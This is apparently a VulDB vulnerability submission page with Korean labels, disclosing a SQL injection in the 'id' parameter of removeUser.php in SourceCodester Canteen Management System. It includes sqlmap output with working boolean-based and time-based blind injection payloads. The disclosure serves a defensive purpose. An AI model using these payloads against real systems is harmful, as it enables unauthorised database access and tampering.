| 제목 | SourceCodester Canteen Management System removeUser.php sql injection |
|---|
| 설명 | SourceCodester Canteen Management System removeUser.php sql injection
url: youthappam/php_action/removeUser.php
Abstract:
Line 14 of removeUser.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
Data enters a program from an untrusted source.
The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in removeUser.php at line 14.
sqlmap identified the following injection point(s) with a total of 304 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (5974=5974) THEN 111 ELSE (SELECT 8956 UNION SELECT 5415) END))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=111 AND (SELECT 8669 FROM (SELECT(SLEEP(5)))iJMA) |
|---|
| 원천 | ⚠️ https://blog.csdn.net/weixin_43864034/article/details/128904906 |
|---|
| 사용자 | zxc65805735 (UID 40327) |
|---|
| 제출 | 2023. 02. 06. AM 10:23 (3 연령 ago) |
|---|
| 모더레이션 | 2023. 02. 06. PM 01:56 (4 hours later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 220220 [SourceCodester Canteen Management System 1.0 removeUser.php 아이디 SQL 주입] |
|---|
| 포인트들 | 20 |
|---|